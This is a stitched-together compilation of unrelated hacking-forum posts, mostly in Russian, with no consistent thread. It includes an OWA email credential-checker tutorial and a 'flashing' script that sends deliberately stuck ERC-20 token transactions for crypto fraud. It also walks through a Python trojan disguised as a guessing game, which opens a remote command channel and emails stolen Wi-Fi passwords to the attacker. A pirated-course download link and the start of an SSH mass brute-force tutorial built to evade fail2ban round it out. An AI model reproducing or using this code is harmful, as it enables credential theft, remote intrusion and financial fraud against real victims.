In the left sidebar, click on Developer settings.
4 .Generate New Token :
In the developer settings page, click on Personal access tokens.
Then, click on Generate new token.
5 .Configure Token :
Enter a descriptive name for your token in the Note field.
Select the scopes or permissions needed for your token. For this script, you
might need at least repo and read:org scopes depending on the repositories
you're accessing.
Click on Generate token at the bottom of the page.
Password: xss.is
Enjoy !
**Авторствo: germans
Издательствo: xss.is
К**ароче, чекеры, брутеры, и прочий хлам. Рынок не переполнен всем этим на
удивление, к примеру я не увидел еще ни одного слитого/написанного в дар
чекера owa-почт. Мы сегодня напишем с вами чекер на эти почты с
мультипоточностью, подключением прокси и всем остальным. Разберемся сначала -
'а чо это такое ваши чекеры'. Если ответить вкратце и по сути, то программка,
проверяющая входные данные на верность, самое банальное, что вы можете
привести человеку в пример - так это проверка по алгоритму Луны, ведь у
каждого человека есть банковская карточка и думаю, что человек сообразит
быстро в тех ситуациях, которых он был. К примеру промахнулся циферкой, а ему
уже кричат из-за всех щелей, что гавно. Уйдем от введения и перейдем к сути.
П исать мы будем на языке Python, с моего взгляда это самый комфортный
язык для чекеров после Go. Не нужно выдумывать велосипеды и писать чекеры на
плюсах, шарпах, ведь они никогда не были предназначены для таких целей.. У нас
двa пути, а именно сам принцип - как проверять то?? Первый, наилучший вариант
П ерейдем ближе к разбору нашей цели, как я говорил ранее - это owa-почты. Для начала заходим кликаться с браузера, не забываем подключить инструменты разработчика (Dev Tools) тыкайте F12 и будем вам счастье.
П ереходим в инструментах разработчика в раздел 'Сеть', пробуем
залогиниться, отлавливаем запросы. И ищем нужный запрос именно нам, а
конкретней где мы передаем почту и пароль.
Н аходим такой после успешного валида в нашу почту, теперь пора лезть в 'полезную нагрузку' aka Payload. Там мы увидим тело данных, которое передается. Так же не забываем отметить факт, что запрос у нас с методом POST.
У видели какие данные передаются, все, чхать нам на это все, пора лезть в
нашу IDE. Так как мы будем писать полнофункциональный чекер с мультипотоком, и
всякими наворотами саму функцию чека вынесем отдельно. Я использую Visual
Studio, но честно, вообще без разницы на это, пишите где вам удобно, хоть в
блокноте.
Cам код функции, отвечающая за проверку. Маленькое разъяснение, что, кого,
куда, зачем, почему. Импортируем библиотеку requests, она позволяет нам
засылать запросы на сайт, ведь в начале мы решили, что будем действовать
именно так, никак по другому. Создаем нашу функцию, которая будет принимать
такие значение как url, username, password. Вешаем на это все блок try-except,
который позволяет нам отлавливать ошибки, но мы будем его использовать как
часть проверки. Session - это как профиль в любом антике грубо говоря,
настроив один раз мы больше не паримся, так же сохраняются все cookie в эту
самую сессию, что нам понадобится для проверки. После чего мы составляем нашу
полезную нагрузку или же пейлод, исходя из скриншота на прошлой странице. В
destination мы заменяем у ссылки '/auth/logon.aspx' на пустоту, ведь нам нужен
домен, тут мы могли использовать библиотеку urlparse для большей точности, но
пока остановимся на этом. Остальное кроме username и password заполняем как
было указано в дате. После чего наша сессия отправляет post запрос на эндпоинт
проверки, в ней так же заменяем конечную точку на нужную нам (указано раньше в
инструментах разработчика). После самое важное, как же именно проверять.. Тут
может быть множество дыр, можно проверять по тому на какую страницу нас
заредиректит, по элементам в ответе, и так далее, но самым надежным способом
будет проверять куки, которые нам возвращает. Тут мы уже никак не можем
промахнуться как с проверкой на элементы, ведь там нас может просто закидывать
на совершенной другой юрл, к примеру некоторые ова почты, редиректят на сайт
майкрософт где надо зайти. По окончательным редиректам тоже спорный вопрос,
может вылезти какая нибудь хрень, из-за которой постоянно будем получать
невалид по тысяче раз. После получаем наш словарик с куки по session, пытаемся
и извлечь кук 'cadata', который возвращается при валидном аккаунте. Если у нас
не получается его извлечь, то мы выбиваемся в ошибку и функция возвращает
False. Разобрали функцию самого чека, вернемся к нашей мультипоточности.
Мультипоточность вырисовываем из библиотеки concurrent.futures , импортируем класс ThreadPoolExecutor из нее, она позволяет нам создавать пул потоков, функции там будут выполняться асинхронно. Именно через него и работает наша мультипоточность. Executor.map принимает у нас функцию и объект, который будет обрабатываться, все это у нас лежит под 'tqdm', она позволит нам графически отображать прогресс нашей проверки, self.total_lines служит для tqdm, то есть сколько всего строк то, работает эта библиотека как на Linux, так и на Windows. max_workers служит для обозначения кол-ва потоков, пока медленно начинаем перетекать в основной функции main. Тут все довольно таки базово, рассказывать нечего, просим указать файл пока не будет он валидным, после чего такое же и с потоками. Читаем файл, и передаем его в класс Checker, который уже запустит нам все это дело.
Пример работы выше, думаю на этом стоит завершать статью. Всем благ, скрипт приложен в архиве файлом здесь.
(Transactions remain pending, wont confirm obviously)
(Trust Wallet does not work)
(Unlimited Amounts)
Python:Copy to clipboard
import tkinter as tk
from tkinter import messagebox, ttk
from web3 import Web3
# Connect to Ethereum Mainnet
infura_url = "https://mainnet.infura.io/v3/ID" # Replace with your Infura Project ID
web3 = Web3(Web3.HTTPProvider(infura_url))
# Cryptocurrencies metadata
cryptocurrencies = {
"USDT": {"address": "0xdAC17F958D2ee523a2206206994597C13D831ec7", "decimals": 6},
"WBTC": {"address": "0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599", "decimals": 8},
"USDC": {"address": "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606EB48", "decimals": 6},
"DAI": {"address": "0x6B175474E89094C44Da98b954EedeAC495271d0F", "decimals": 18},
"PEPE": {"address": "0x6982508145454Ce325dDbE47a25d4ec3d2311933", "decimals": 18},
"FTM": {"address": "0x4e15361FD6b4BB609Fa63c81A2be19d873717870", "decimals": 18},
"SHIB": {"address": "0x95aD61b0a150d79219dCF64E1E6Cc01f0B64C4cE", "decimals": 18},
"MATIC": {"address": "0x7D1Afa7B718fb893dB30A3aBc0Cfc608AaCfeBB0", "decimals": 18},
"UNI": {"address": "0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984", "decimals": 18},
"TON": {"address": "0x2ee543c7a6D02aC3D1E5aA0e6A7bD71cB1e4F830", "decimals": 9}
}
# Track the last transaction details
last_transaction = None
# Validate and convert the Ethereum address
def validate_and_convert_address(address):
if not web3.is_address(address): # Check if the address is valid
raise ValueError("Invalid Ethereum address.")
return web3.to_checksum_address(address) # Convert to checksum address
# Function to send the transaction
def send_transaction():
global last_transaction
private_key = private_key_entry.get()
delivery_address = delivery_address_entry.get()
send_amount = amount_entry.get()
selected_currency = currency_combobox.get()
try:
# Validate and convert the Ethereum address
delivery_address = validate_and_convert_address(delivery_address)
# Get the contract address and decimals for the selected currency
currency_data = cryptocurrencies[selected_currency]
contract_address = currency_data["address"]
decimals = currency_data["decimals"]
# Convert the send amount to smallest units
send_amount = int(float(send_amount) * (10 ** decimals))
# Sender's wallet
account = web3.eth.account.from_key(private_key)
sender_address = account.address
# ERC-20 transfer method ID
method_id = "0xa9059cbb"
# Encode the transaction data
padded_address = delivery_address[2:].zfill(64)
padded_amount = hex(send_amount)[2:].zfill(64)
data = method_id + padded_address + padded_amount
# Get the current nonce (from confirmed transactions)
nonce = web3.eth.get_transaction_count(sender_address)
# Set a gas price to keep it pending (3 gwei Stuck Forever) (20+ gwei Instant)
gas_price = web3.to_wei(3, "gwei")
gas_limit = 60000 # Gas limit for ERC-20 transfer
# Construct the transaction
transaction = {
"to": contract_address,
"value": 0,
"gas": gas_limit,
"gasPrice": gas_price,
"nonce": nonce,
"data": data,
"chainId": 1,
}
# Sign the transaction
signed_txn = web3.eth.account.sign_transaction(transaction, private_key)
# Send the transaction
tx_hash = web3.eth.send_raw_transaction(signed_txn.raw_transaction)
tx_hash_hex = web3.to_hex(tx_hash)
# Save the last transaction details
last_transaction = {
"nonce": nonce,
"gasPrice": gas_price,
"private_key": private_key
}
# Copy txid to clipboard
root.clipboard_clear()
root.clipboard_append(tx_hash_hex)
root.update()
messagebox.showinfo("Success", f"Transaction sent!\nHash: {tx_hash_hex}\n(TxID copied to clipboard)")
except Exception as e:
messagebox.showerror("Error", f"Failed to send transaction:\n{str(e)}")
# Function to cancel the last transaction
def cancel_transaction():
global last_transaction
if not last_transaction:
messagebox.showerror("Error", "No transaction to cancel.")
return
try:
private_key = last_transaction["private_key"]
nonce = last_transaction["nonce"]
gas_price = last_transaction["gasPrice"]
# Increase the gas price to replace the transaction
new_gas_price = int(gas_price * 1.5)
# Sender's wallet
account = web3.eth.account.from_key(private_key)
sender_address = account.address
# Create a replacement transaction to self
transaction = {
"to": sender_address,
"value": 0,
"gas": 21000,
"gasPrice": new_gas_price,
"nonce": nonce,
"chainId": 1,
}
# Sign the replacement transaction
signed_txn = web3.eth.account.sign_transaction(transaction, private_key)
# Send the replacement transaction
tx_hash = web3.eth.send_raw_transaction(signed_txn.raw_transaction)
tx_hash_hex = web3.to_hex(tx_hash)
messagebox.showinfo("Success", f"Transaction canceled!\nHash: {tx_hash_hex}")
except Exception as e:
messagebox.showerror("Error", f"Failed to cancel transaction:\n{str(e)}")
# GUI
root = tk.Tk()
root.title("Flashing")
# Private Key
tk.Label(root, text="Private Key:").grid(row=0, column=0, padx=10, pady=5)
private_key_entry = tk.Entry(root, width=50, show="*")
private_key_entry.grid(row=0, column=1, padx=10, pady=5)
# Delivery Address
tk.Label(root, text="Delivery Address:").grid(row=1, column=0, padx=10, pady=5)
delivery_address_entry = tk.Entry(root, width=50)
delivery_address_entry.grid(row=1, column=1, padx=10, pady=5)
# Amount
tk.Label(root, text="Amount:").grid(row=2, column=0, padx=10, pady=5)
amount_entry = tk.Entry(root, width=50)
amount_entry.grid(row=2, column=1, padx=10, pady=5)
# Cryptocurrency Dropdown
tk.Label(root, text="Select Currency:").grid(row=3, column=0, padx=10, pady=5)
currency_combobox = ttk.Combobox(root, values=list(cryptocurrencies.keys()), state="readonly")
currency_combobox.grid(row=3, column=1, padx=10, pady=5)
currency_combobox.set("USDT") # Default selection
# Submit Button
submit_button = tk.Button(root, text="Send Transaction", command=send_transaction)
submit_button.grid(row=4, column=0, columnspan=2, pady=10)
# Cancel Button
cancel_button = tk.Button(root, text="Cancel Last Transaction", command=cancel_transaction)
cancel_button.grid(row=5, column=0, columnspan=2, pady=10)
root.mainloop()
В этой статье я расскажу, как написать на Python простейший троян с удаленным доступом, а для большей скрытности мы встроим его в игру. Даже если ты не знаешь Python, ты сможешь лучше понять, как устроены такие вредоносы, и поупражняться в программировании.
Конечно, приведенные в статье скрипты никак не годятся для использования в боевых условиях: обфускации в них нет, принципы работы просты как палка, а вредоносные функции отсутствуют напрочь. Тем не менее при некоторой смекалке их возможно использовать для несложных пакостей — например, вырубить чей‑нибудь компьютер в классе (или в офисе, если в классе ты не наигрался).
Итак, что вообще такое троян? Вирус — это программа, главная задача которой — самокопирование. Червь активно распространяется по сети (типичный пример — «Петя» и WannaCry), а троян — скрытая вредоносная программа, которая маскируется под «хороший» софт.
Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго. Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым.
Сначала нам (то есть нашему трояну) нужно определиться, где он оказался. Важная часть твоей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем.
Начнем писать код. Сразу импортируем библиотеки:
Python:Copy to clipboard
import socket
from requests import get
Обе библиотеки не поставляются с Python, поэтому, если они у тебя отсутствуют, их нужно установить командой pip.
Python:Copy to clipboard
pip install socket
pip install requests
Если ты видишь ошибку, что у тебя отсутствует pip, сначала нужно установить его с сайта pypi.org. Любопытно, что рекомендуемый способ установки pip — через pip, что, конечно, очень полезно, когда его нет.
Код получения внешнего и внутреннего адресов будет таким. Обрати внимание, что, если у жертвы несколько сетевых интерфейсов (например, Wi-Fi и Ethernet одновременно), этот код может вести себя неправильно.
Python:Copy to clipboard
# Определяем имя устройства в сети
hostname = socket.gethostname()
# Определяем локальный (внутри сети) IP-адрес
local_ip = socket.gethostbyname(hostname)
# Определяем глобальный (публичный / в интернете) IP-адрес
public_ip = get('http://api.ipify.org').text
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все немного сложнее.
Я выбрал сайт api.ipify.org, так как на выходе нам выдается только одна строка — наш внешний IP. Из связки публичный + локальный IP мы получим почти точный адрес устройства.
Вывести информацию еще проще:
Python:Copy to clipboard
print(f'Хост: {hostname}')
print(f'Локальный IP: {local_ip}')
print(f'Публичный IP: {public_ip}')
Никогда не встречал конструкции типа print(f'{}')? Буква f означает
форматированные строковые литералы. Простыми словами — программные вставки
прямо в строку.
Строковые литералы не только хорошо смотрятся в коде, но и помогают избегать
ошибок типа сложения строк и чисел (Python — это тебе на JavaScript!).
Финальный код:
Python:Copy to clipboard
import socket
from requests import get
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
print(f'Хост: {hostname}')
print(f'Локальный IP: {local_ip}')
print(f'Публичный IP: {public_ip}')
Запустив этот скрипт, мы сможем определить IP-адрес нашего (или чужого) компьютера.
Теперь напишем скрипт, который будет присылать нам письмо.
Импорт новых библиотек (обе нужно предварительно поставить через pip install):
Python:Copy to clipboard
import smtplib as smtp
from getpass import getpass
Пишем базовую информацию о себе:
Python:Copy to clipboard
# Почта, с которой будет отправлено письмо
email = 'xakepmail@yandex.ru'
# Пароль от нее (вместо ***)
password = '***'
# Почта, на которую отправляем письмо
dest_email = 'demo@xakep.ru'
# Тема письма
subject = 'IP'
# Текст письма
email_text = 'TEXT'
Дальше сформируем письмо:
Python:Copy to clipboard
message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)
Последний штрих — настроить подключение к почтовому сервису. Я пользуюсь Яндекс.Почтой, поэтому настройки выставлял для нее.
Python:Copy to clipboard
server = smtp.SMTP_SSL('smtp.yandex.com') # SMTP-сервер Яндекса
server.set_debuglevel(1) # Минимизируем вывод ошибок (выводим только фатальные ошибки)
server.ehlo(email) # Отправляем hello-пакет на сервер
server.login(email, password) # Заходим на почту, с которой будем отправлять письмо
server.auth_plain() # Авторизуемся
server.sendmail(email, dest_email, message) # Вводим данные для отправки (адреса свой и получателя и само сообщение)
server.quit() # Отключаемся от сервера
В строке server.ehlo(email) мы используем команду EHLO. Большинство серверов SMTP поддерживают ESMTP и EHLO. Если сервер, к которому ты пытаешься подключиться, не поддерживает EHLO, можно использовать HELO.
Полный код этой части трояна:
Python:Copy to clipboard
import smtplib as smtp
import socket
from getpass import getpass
from requests import get
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
email = 'xakepmail@yandex.ru'
password = '***'
dest_email = 'demo@xakep.ru'
subject = 'IP'
email_text = (f'Host: {hostname}\nLocal IP: {local_ip}\nPublic IP: {public_ip}')
message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()
Запустив этот скрипт, получаем письмо.
![Письмо с IP](/proxy.php?image=https%3A%2F%2Fst768.s3.eu-
central-1.amazonaws.com%2F49a5d4f88458d5b6c46b22e2230127e6%2F17995%2Fscreenshot-2.png&hash=3487e88a895b2861f77a8e715c50e229)
Письмо с IP
Этот скрипт я проверил на VirusTotal. Результат на скрине.
![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu-
central-1.amazonaws.com%2F3b02b8bbaeb85ee4f04610d9882ce9ff%2F18001%2Fvtimg.png&hash=5361aa8cf254ad2faa33d59536e19755)
По задумке, троян представляет собой клиент‑серверное приложение с клиентом на машине атакуемого и сервером на запускающей машине. Должен быть реализован максимальный удаленный доступ к системе.
Как обычно, начнем с библиотек:
Python:Copy to clipboard
import random
import socket
import threading
import os
Для начала напишем игру «Угадай число». Тут все крайне просто, поэтому задерживаться долго не буду.
Python:Copy to clipboard
# Создаем функцию игры
def game():
# Берем случайное число от 0 до 1000
number = random.randint(0, 1000)
# Счетчик попыток
tries = 1
# Флаг завершения игры
done = False
# Пока игра не закончена, просим ввести новое число
while not done:
guess = input('Введите число: ')
# Если ввели число
if guess.isdigit():
# Конвертируем его в целое
guess = int(guess)
# Проверяем, совпало ли оно с загаданным; если да, опускаем флаг и пишем сообщение о победе
if guess == number:
done = True
print(f'Ты победил! Я загадал {guess}. Ты использовал {tries} попыток.')
# Если же мы не угадали, прибавляем попытку и проверяем число на больше/меньше
else:
tries += 1
if guess > number:
print('Загаданное число меньше!')
else:
print('Загаданное число больше!')
# Если ввели не число — выводим сообщение об ошибке и просим ввести число заново
else:
print('Это не число от 0 до 1000!')
Зачем столько сложностей с проверкой на число? Можно было просто написать guess = int(input('Введите число: ')). Если бы мы написали так, то при вводе чего угодно, кроме числа, выпадала бы ошибка, а этого допустить нельзя, так как ошибка заставит программу остановиться и обрубит соединение.
Вот код нашего трояна. Ниже мы будем разбираться, как он работает, чтобы не проговаривать заново базовые вещи.
Python:Copy to clipboard
# Создаем функцию трояна
def trojan():
# IP-адрес атакуемого
HOST = '192.168.2.112'
# Порт, по которому мы работаем
PORT = 9090
# Создаем эхо-сервер
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((HOST, PORT))
while True:
# Вводим команду серверу
server_command = client.recv(1024).decode('cp866')
# Если команда совпала с ключевым словом 'cmdon', запускаем режим работы с терминалом
if server_command == 'cmdon':
cmd_mode = True
# Отправляем информацию на сервер
client.send('Получен доступ к терминалу'.encode('cp866'))
continue
# Если команда совпала с ключевым словом 'cmdoff', выходим из режима работы с терминалом
if server_command == 'cmdoff':
cmd_mode = False
# Если запущен режим работы с терминалом, вводим команду в терминал через сервер
if cmd_mode:
os.popen(server_command)
# Если же режим работы с терминалом выключен — можно вводить любые команды
else:
if server_command == 'hello':
print('Hello World!')
# Если команда дошла до клиента — выслать ответ
client.send(f'{server_command} успешно отправлена!'.encode('cp866'))
Сначала нужно разобраться, что такое сокет и с чем его едят. Сокет простым языком — это условная вилка или розетка для программ. Существуют клиентские и серверные сокеты: серверный прослушивает определенный порт (розетка), а клиентский подключается к серверу (вилка). После того как установлено соединение, начинается обмен данными.
Итак, строка client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) создает эхо‑сервер (отправили запрос — получили ответ). AF_INET означает работу с IPv4-адресацией, а SOCK_STREAM указывает на то, что мы используем TCP-подключение вместо UDP, где пакет посылается в сеть и далее не отслеживается.
Строка client.connect((HOST, PORT)) указывает IP-адрес хоста и порт, по которым будет производиться подключение, и сразу подключается.
Функция client.recv(1024) принимает данные из сокета и является так называемым «блокирующим вызовом». Смысл такого вызова в том, что, пока команда не передастся или не будет отвергнута другой стороной, вызов будет продолжать выполняться. 1024 — это количество задействованных байтов под буфер приема. Нельзя будет принять больше 1024 байт (1 Кбайт) за один раз, но нам это и не нужно: часто ты руками вводишь в консоль больше 1000 символов? Пытаться многократно увеличить размер буфера не нужно — это затратно и бесполезно, так как нужен большой буфер примерно раз в никогда.
Команда decode('cp866') декодирует полученный байтовый буфер в текстовую
строку согласно заданной кодировке (у нас 866). Но почему именно cp866? Зайдем
в командную строку и введем команду chcp.
![Текущая кодовая страница](/proxy.php?image=https%3A%2F%2Fst768.s3.eu-
central-1.amazonaws.com%2F49a5d4f88458d5b6c46b22e2230127e6%2F17992%2Fccp.png&hash=42b6d56bf126505e8f336527dfc1dc87)
Текущая кодовая страница
Кодировка по умолчанию для русскоговорящих устройств — 866, где кириллица
добавлена в латиницу. В англоязычных версиях системы используется обычный
Unicode, то есть utf-8 в Python. Мы же говорим на русском языке, так что
поддерживать его нам просто необходимо.
При желании кодировку можно поменять в командной строке, набрав после chcp ее
номер. Юникод имеет номер 65001.
При приеме команды нужно определить, не служебная ли она. Если так, выполняем
определенные действия, иначе, если включен терминал, перенаправляем команду
туда. Недостаток — результат выполнения так и остается необработанным, а его
хорошо бы отправлять нам. Это будет тебе домашним заданием: реализовать эту
функцию можно от силы минут за пятнадцать, даже если гуглить каждый шаг.
Результат проверки клиента на VirusTotal порадовал.
![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu-
central-1.amazonaws.com%2F3b02b8bbaeb85ee4f04610d9882ce9ff%2F18002%2Fvtimg1.png&hash=97b5059e5d95f9a277d2825431b39c54)
Базовый троян написан, и сейчас можно сделать очень многое на машине
атакуемого, ведь у нас доступ к командной строке. Но почему бы нам не
расширить набор функций? Давай еще пароли от Wi-Fi стащим!
Задача — создать скрипт, который из командной строки узнает все пароли от доступных сетей Wi-Fi.
Приступаем. Импорт библиотек:
Python:Copy to clipboard
import subprocess
import time
Модуль subprocess нужен для создания новых процессов и соединения c потоками стандартного ввода‑вывода, а еще для получения кодов возврата от этих процессов.
Итак, скрипт для извлечения паролей Wi-Fi:
Python:Copy to clipboard
# Создаем запрос в командной строке netsh wlan show profiles, декодируя его по кодировке в самом ядре
data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('cp866').split('\n')
# Создаем список всех названий всех профилей сети (имена сетей)
Wi-Fis = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line]
# Для каждого имени...
for Wi-Fi in Wi-Fis:
# ...вводим запрос netsh wlan show profile [ИМЯ_Сети] key=clear
results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', Wi-Fi, 'key=clear']).decode('cp866').split('\n')
# Забираем ключ
results = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line]
# Пытаемся его вывести в командной строке, отсекая все ошибки
try:
print(f'Имя сети: {Wi-Fi}, Пароль: {results[0]}')
except IndexError:
print(f'Имя сети: {Wi-Fi}, Пароль не найден!')
Введя команду netsh wlan show profiles в командной строке, мы получим следующее.
![netsh wlan show profiles](/proxy.php?image=https%3A%2F%2Fst768.s3.eu-
central-1.amazonaws.com%2F49a5d4f88458d5b6c46b22e2230127e6%2F17994%2Fprofiles.png&hash=4dec2cdc452fe9b49680a9bbee2bbd8c)
netsh wlan show profiles
Если распарсить вывод выше и подставить имя сети в команду netsh wlan show profile [имя сети] key=clear
, результат будет как на картинке. Его можно
разобрать и вытащить пароль от сети.
![netsh wlan show profile ASUS
key=clear](/proxy.php?image=https%3A%2F%2Fst768.s3.eu-
central-1.amazonaws.com%2F49a5d4f88458d5b6c46b22e2230127e6%2F17993%2Fkeys.png&hash=e8decbc383fe94701d2b27457d86b7e1)
netsh wlan show profile ASUS key=clear
![Вердикт VirusTotal](/proxy.php?image=https%3A%2F%2Fst768.s3.eu-
central-1.amazonaws.com%2F3b02b8bbaeb85ee4f04610d9882ce9ff%2F18003%2Fvtimg2.png&hash=aa5895f588d8b3758dbbe41a929434a2)
Вердикт VirusTotal
Осталась одна проблема: наша изначальная задумка была забрать пароли себе, а не показывать их пользователю. Исправим же это.
Допишем еще один вариант команды в скрипт, где обрабатываем наши команды из сети.
Python:Copy to clipboard
if server_command == 'Wi-Fi':
data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('cp866').split('\n')
Wi-Fis = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line]
for Wi-Fi in Wi-Fis:
results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', Wi-Fi, 'key=clear']).decode('cp866').split('\n')
results = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line]
try:
email = 'xakepmail@yandex.ru'
password = '***'
dest_email = 'demo@xakep.ru'
subject = 'Wi-Fi'
email_text = (f'Name: {Wi-Fi}, Password: {results[0]}')
message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()
except IndexError:
email = 'xakepmail@yandex.ru'
password = '***'
dest_email = 'demo@xakep.ru'
subject = 'Wi-Fi'
email_text = (f'Name: {Wi-Fi}, Password not found!')
message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()
Этот скрипт прост как два рубля и ожидает увидеть русскоязычную систему. На
других языках это не сработает, но исправить поведение скрипта можно простым
выбором разделителя из словаря, где ключ — обнаруженный на компьютере язык, а
значение — требуемая фраза на нужном языке.
Все команды этого скрипта уже подробно разобраны, так что я не буду
повторяться, а просто покажу скриншот из своей почты.
![Результат](/proxy.php?image=https%3A%2F%2Fst768.s3.eu-
central-1.amazonaws.com%2F49a5d4f88458d5b6c46b22e2230127e6%2F17996%2Fscreenshot-3.png&hash=4cb7625637f9dc3aaa37502fb126f089)
Результат
Конечно, тут можно доработать примерно все — от защиты канала передачи до защиты самого кода нашего вредоноса. Методы связи с управляющими серверами злоумышленника тоже обычно используются другие, а работа вредоноса не зависит от языка операционной системы.
И конечно, сам вирус очень желательно упаковать с помощью PyInstaller, чтобы не тянуть с собой на машину жертвы питон и все зависимости. Игра, которая требует для работы установить модуль для работы с почтой, — что может больше внушать доверие?
Сегодняшний троян настолько прост, что его никак нельзя назвать боевым. Тем не менее он полезен для изучения основ языка Python и понимания алгоритмов работы более сложных вредоносных программ. Мы надеемся, что ты уважаешь закон, а полученные знания о троянах тебе никогда не понадобятся.
В качестве домашнего задания рекомендую попробовать реализовать двусторонний терминал и шифрование данных хотя бы с помощью XOR. Такой троян уже будет куда интереснее, но, безусловно, использовать его in the wild мы не призываем. Будь аккуратен!
Автор @valery2504link ака Валерий Линьков
хакер.ру
Чем будем заниматься?
- Мы будем создавать чат ботов Telegram для бизнеса с нуля на базе языка
Python.
Никакие бесплатные/платные конструкторы не сравнятся с качеством нашей работы.
Кто наши клиенты?
- Кафе, рестораны, службы доставки, бьюти индустрия, интернет-магазины,
продавцы аккаунтов, автомойки, арбитражники, инфобизнесмены, фитнес центры,
кинотеатры, бассейны, массажные салоны.
Да и в целом, если у Вас есть бизнес, мы поможете себе сэкономить в 3-5 раз
дешевле - чем заказывать у сторонних разработчиков.
Что требуется для работы?
- Ноутбук.
- Интернет.
- Не требуются специальные навыки, всему научим. Даже самого не смышленого
человека.
- Работать можно одному.
Какие необходимы вложения для создания одного бота?
- В разработке и запуске от А до Я, в плане разработки 0 рублей.
Если клиент захочет блатные фишки, супер хостинг например - данные расходы покрываются им.
Какие варианты монетизации бота?
В обучении представлены кейсы:
- Заработок на своих ботах, без продаж клиентам.
- Создание индивидуальных ботов на заказ.
Работа онлайн 99%
- оставшийся 1% это редкая встреча с заказчиком для обсуждения ТЗ
(технического задания). В основном все заказы без личных встреч.
Какие цены на ботов, чтоб я мог понимать диапазон заработка на этом?
- Ценовой сегмент колеблется от 3000 до 50000 рублей в среднем. Соответственно от простого бота визитки (тот же лендинг в другом формате, который мы делаем за 30минут). До интернет магазина с полным каталогом товаров, или ресторана с меню и различными функциями и фишками вплоть до оплаты картой внутри Telegram.
Есть пруфы, что это востребовано?
- Все карты раскрывать не будем, как самый простой пример поиска заказа для
ленивых:
Сколько будет жить данный бизнес?
- Волна заказов тянется с 2018 года и только набирает обороты. Как говорят
аналитики, к 2020-21 году 80% бизнеса будут иметь своих чат ботов.
Так как, они выполняют всю рутину, существенно сокращают расходы, заменяют
рабочий персонал, ускоряют работу бизнеса, работают 24/7/365.
Что Вы предлагаете как проходит обучение?
Материал:
1. Наши, готовые шаблоны ботов в различных сегментах бизнеса, которые Вы
сможете редактировать/дописывать/переписывать под себя/клиента после обучения.
2. Мануал по разбору кода и команд.
3. Мануал по поиску клиентов и коммерческого предложения клиентам.
4. Отснятые специально для Вас видео ролики по разбору наших шаблонов от А до
Я для "чайников".
5. Рекламные материалы для Вашего бизнеса.
6. Готовые кейсы по самостоятельному заработку и кейсы по успешным внедрениям
в малый/средний бизнес.
7. Индивидуальные и практические консультации на протяжении всего времени.
8. Закрытый канал Telegram с полезными материалами для работы.
Нашел на пиратской бухте.
Скачать:
https://mega.nz/file/F843FKqL#JgR_dU4IrSkfKNRc3xnf1MteeuqWZ9Q2Nr95JhLEmMw
Привет. Сегодня мы c вами вместе напишем прототип асинхронного скрипта для
перебора ssh доступов на Python, который будет работать стабильней и быстрее
чем такие инструменты как hydra и medusa.
А также может работать со списками ip выгруженными прямо из утилиты masscan.
О SSH
Если вдруг есть люди из танка:
SSH - это протокол прикладного уровня, позволяет удаленно управлять другим
машинами, и пробрасывать (тунеллировать) трафик, (что-то типа vpn). Весь
трафик проходящий по ssh протоколу - шифруется.
ssh повсеместно используется для управления серверами, ip камерами, роутерами
и всем подобным. Должен сказать что устройств в сети которые поддерживают ssh
О нашем скрипте
Поскольку существуют такие системы как fail2ban то точечный брутфорс одного
хоста без прокси - невозможен. Ибо после нескольких неудачных попыток ввода
пароля, мы сразу-же получим бан.
По этому наш скрипт будет предназначен только для массовых атак, и работать
следующим образом:
Мы будем делать итерации по списку хостов на предмет одной комбинации
популярных логинов и паролей. После прохода итерации, пройдет достаточное
время для того что-бы fail2ban нас не забанил, и скрипт пепейдет к следующей
итерации уже с новой комбинацией логина и пароля.
Конечно с такой логикой работы наш скрипт это скорее "Парсер доступов со
стандартными логинами и паролями" нежели брутфорс. Но зато есть один огромный
плюс - нам не нужны прокси.
Почему на Python?
Так же как это работает с Правилом Интернета №34 которое гласит: "На любую
популярную тему в интернете - есть порно".
Так же и с Python: "О чем бы ты не подумал - на это уже написана библиотека
или обертка на python"
И в данном случае, всю грязную работу за нас уже сделала библиотека asyncssh.
Точнее сделал ее создатель
Spoiler: Дай бог здоровья хорошему человеку!
Рон Фредерик
Вот так выглядит настоящий хакер
